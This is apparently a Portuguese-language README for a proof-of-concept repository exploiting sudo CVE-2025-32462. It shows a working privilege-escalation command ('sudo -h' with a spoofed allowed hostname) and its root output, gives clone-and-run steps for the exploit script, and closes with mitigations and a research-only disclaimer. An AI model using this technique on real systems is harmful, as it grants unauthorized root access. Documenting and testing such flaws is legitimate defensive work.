CVE-2025-32462-Exploit: Matrix-Sudo Escape

Escalonamento de Privilégios por Spoofing de Hostname (CVE-2025-32462)

"Você toma a pílula azul... a história acaba. Você toma a pílula vermelha... você obtém root."

Descrição

Este exploit demonstra uma vulnerabilidade de escalonamento de privilégios no sudo (CVE-2025-32462) onde restrições baseadas em hostname podem ser contornadas usando a flag -h. O PoC cria um ambiente de usuário restrito e, em seguida, escapa dele ao falsificar um hostname na lista de permissões para obter acesso root.

[user@matrix-node]$ sudo -h zion-core bash  # Falsifica hostname na lista de permissões
[root@matrix-node]# id                          # Conseguiu root no hostname errado!
uid=0(root) gid=0(root) groups=0(root)

Detalhes Técnicos

• Versões do Sudo Vulneráveis: < 1.9.17
• Vetor de Ataque: Escalonamento local de privilégios
• Falha Chave: Bypass de verificação de hostname via parâmetro sudo -h
• Impacto: Usuários restritos podem obter root em sistemas configurados incorretamente

Uso

Clonar repositório:

git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

Tornar executável e executar:

chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

Siga os prompts interativos para demonstrar:

• Detecção da vulnerabilidade CVE-2025-32462
• Criação de usuário
• Configuração de restrição de hostname
• Execução do exploit
• Limpeza

Proteção

• ✅ Atualize o sudo para v1.9.17+
• ✅ Evite restrições de sudo baseadas em hostname
• ✅ Use políticas de sudo baseadas em grupos

Legal

Apenas para fins educacionais/de pesquisa. Use apenas em sistemas próprios ou com permissão para testar.